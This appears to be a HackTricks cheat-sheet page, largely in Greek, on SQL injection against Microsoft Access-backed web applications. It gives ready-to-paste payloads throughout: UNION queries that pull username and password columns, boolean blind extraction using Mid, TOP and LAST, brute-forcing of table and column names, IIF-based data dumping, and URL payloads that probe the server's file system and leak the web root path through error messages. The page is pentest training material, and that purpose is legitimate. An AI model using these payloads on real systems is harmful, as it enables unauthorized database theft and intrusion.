14 KiB
MS Access SQL Injection
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Online Playground
DB Limitations
String Concatenation
Η συγχώνευση συμβολοσειρών είναι δυνατή με τους χαρακτήρες & (%26)
και + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Σχόλια
Δεν υπάρχουν σχόλια στο MS Access, αλλά προφανώς είναι δυνατόν να αφαιρεθεί το τελευταίο ενός ερωτήματος με έναν χαρακτήρα NULL:
1' union select 1,2 from table%00
Αν αυτό δεν λειτουργεί, μπορείτε πάντα να διορθώσετε τη σύνταξη του ερωτήματος:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
Δεν υποστηρίζονται.
LIMIT
Ο LIMIT
χειριστής δεν έχει υλοποιηθεί. Ωστόσο, είναι δυνατόν να περιορίσετε τα αποτελέσματα του SELECT query στις πρώτες N γραμμές του πίνακα χρησιμοποιώντας τον TOP
χειριστή. Ο TOP
δέχεται ως παράμετρο έναν ακέραιο, που αντιπροσωπεύει τον αριθμό των γραμμών που θα επιστραφούν.
1' UNION SELECT TOP 3 attr FROM table%00
Ακριβώς όπως το TOP, μπορείτε να χρησιμοποιήσετε LAST
που θα πάρει τις γραμμές από το τέλος.
UNION Ερωτήσεις/Υποερωτήσεις
Σε μια SQLi, συνήθως θα θέλετε να εκτελέσετε μια νέα ερώτηση για να εξαγάγετε πληροφορίες από άλλους πίνακες. Η MS Access απαιτεί πάντα ότι σε υποερωτήσεις ή επιπλέον ερωτήσεις πρέπει να υποδεικνύεται ένα FROM
.
Έτσι, αν θέλετε να εκτελέσετε ένα UNION SELECT
ή UNION ALL SELECT
ή ένα SELECT
μέσα σε παρένθεση σε μια συνθήκη, πρέπει πάντα να υποδείξετε ένα FROM
με ένα έγκυρο όνομα πίνακα.
Επομένως, πρέπει να γνωρίζετε ένα έγκυρο όνομα πίνακα.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
{% hint style="warning" %} Αυτό θα σας επιτρέψει να εξάγετε τιμές του τρέχοντος πίνακα χωρίς να χρειάζεται να γνωρίζετε το όνομα του πίνακα. {% endhint %}
MS Access επιτρέπει παράξενη σύνταξη όπως '1'=2='3'='asd'=false
. Όπως συνήθως, η SQL injection θα είναι μέσα σε μια WHERE
ρήτρα και μπορούμε να το εκμεταλλευτούμε αυτό.
Φανταστείτε ότι έχετε μια SQLi σε μια βάση δεδομένων MS Access και γνωρίζετε (ή μαντέψατε) ότι ένα όνομα στήλης είναι username, και αυτό είναι το πεδίο που θέλετε να εξάγετε. Θα μπορούσατε να ελέγξετε τις διαφορετικές απαντήσεις της εφαρμογής ιστού όταν χρησιμοποιείται η τεχνική chaining equals και ενδεχομένως να εξάγετε περιεχόμενο με μια boolean injection χρησιμοποιώντας τη λειτουργία Mid
για να αποκτήσετε υποσυμβολοσειρές.
'=(Mid(username,1,3)='adm')='
Αν γνωρίζετε το όνομα του πίνακα και στήλης που θέλετε να εξάγετε, μπορείτε να χρησιμοποιήσετε έναν συνδυασμό μεταξύ Mid
, LAST
και TOP
για να διαρρεύσετε όλες τις πληροφορίες μέσω boolean SQLi:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Feel free to check this in the online playground.
Brute-forcing Tables names
Χρησιμοποιώντας την τεχνική chaining equals μπορείτε επίσης να bruteforce table names με κάτι σαν:
'=(select+top+1+'lala'+from+<table_name>)='
Μπορείτε επίσης να χρησιμοποιήσετε έναν πιο παραδοσιακό τρόπο:
-1' AND (SELECT TOP 1 <table_name>)%00
Feel free to check this in the online playground.
- Sqlmap κοινά ονόματα πινάκων: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Υπάρχει μια άλλη λίστα στο http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing Columns names
Μπορείτε να brute-force τα τρέχοντα ονόματα στηλών με το κόλπο της αλυσίδας ίσων με:
'=column_name='
Ή με ένα group by:
-1' GROUP BY column_name%00
Ή μπορείτε να κάνετε brute-force τα ονόματα στηλών ενός διαφορετικού πίνακα με:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Dumping data
Έχουμε ήδη συζητήσει την τεχνική αλυσίδωσης ισότητας για να εξάγουμε δεδομένα από τον τρέχοντα και άλλους πίνακες. Αλλά υπάρχουν και άλλοι τρόποι:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
In a nutshell, το ερώτημα χρησιμοποιεί μια δήλωση “if-then” προκειμένου να ενεργοποιήσει ένα “200 OK” σε περίπτωση επιτυχίας ή ένα “500 Internal Error” διαφορετικά. Εκμεταλλευόμενοι τον τελεστή TOP 10, είναι δυνατόν να επιλέξουμε τα πρώτα δέκα αποτελέσματα. Η επακόλουθη χρήση του LAST επιτρέπει να εξετάσουμε μόνο την 10η πλειάδα. Σε αυτή την τιμή, χρησιμοποιώντας τον τελεστή MID, είναι δυνατόν να εκτελέσουμε μια απλή σύγκριση χαρακτήρων. Αλλάζοντας σωστά τον δείκτη του MID και του TOP, μπορούμε να εξάγουμε το περιεχόμενο του πεδίου “username” για όλες τις γραμμές.
Time Based
Other Interesting functions
Mid('admin',1,1)
get substring from position 1 length 1 (initial position is 1)LEN('1234')
get length of stringASC('A')
get ascii value of charCHR(65)
get string from ascii valueIIF(1=1,'a','b')
if thenCOUNT(*)
Count number of items
Enumerating tables
From here you can see a query to get tables names:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Ωστόσο, σημειώστε ότι είναι πολύ τυπικό να βρείτε SQL Injections όπου δεν έχετε πρόσβαση για να διαβάσετε τον πίνακα MSysObjects
.
Πρόσβαση στο Σύστημα Αρχείων
Πλήρης Διαδρομή Καταλόγου Ρίζας Ιστοσελίδας
Η γνώση της απόλυτης διαδρομής ρίζας ιστοσελίδας μπορεί να διευκολύνει περαιτέρω επιθέσεις. Εάν τα σφάλματα της εφαρμογής δεν είναι εντελώς κρυμμένα, η διαδρομή του καταλόγου μπορεί να αποκαλυφθεί προσπαθώντας να επιλέξετε δεδομένα από μια ανύπαρκτη βάση δεδομένων.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
Η MS Access απαντά με ένα μήνυμα σφάλματος που περιέχει την πλήρη διαδρομή του καταλόγου ιστού.
Καταμέτρηση Αρχείων
Ο ακόλουθος επιθετικός παράγοντας μπορεί να χρησιμοποιηθεί για να συμπεράνει την ύπαρξη ενός αρχείου στο απομακρυσμένο σύστημα αρχείων. Εάν το καθορισμένο αρχείο υπάρχει, η MS Access ενεργοποιεί ένα μήνυμα σφάλματος που ενημερώνει ότι η μορφή της βάσης δεδομένων είναι μη έγκυρη:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Ένας άλλος τρόπος για να καταμετρήσετε αρχεία είναι να καθορίσετε ένα στοιχείο database.table. Εάν το καθορισμένο αρχείο υπάρχει, η MS Access εμφανίζει ένα μήνυμα σφάλματος μορφής βάσης δεδομένων.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Μαντεψιά Ονόματος Αρχείου .mdb
Το όνομα αρχείου βάσης δεδομένων (.mdb) μπορεί να συμπεραστεί με την ακόλουθη ερώτηση:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Όπου name[i] είναι ένα όνομα αρχείου .mdb και realTable είναι ένας υπάρχων πίνακας μέσα στη βάση δεδομένων. Αν και η MS Access θα ενεργοποιήσει πάντα ένα μήνυμα σφάλματος, είναι δυνατόν να διακριθεί μεταξύ ενός μη έγκυρου ονόματος αρχείου και ενός έγκυρου ονόματος αρχείου .mdb.
Αποκωδικοποιητής Κωδικού Πρόσβασης .mdb
Access PassView είναι ένα δωρεάν εργαλείο που μπορεί να χρησιμοποιηθεί για να ανακτήσει τον κύριο κωδικό πρόσβασης της βάσης δεδομένων του Microsoft Access 95/97/2000/XP ή Jet Database Engine 3.0/4.0.
Αναφορές
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.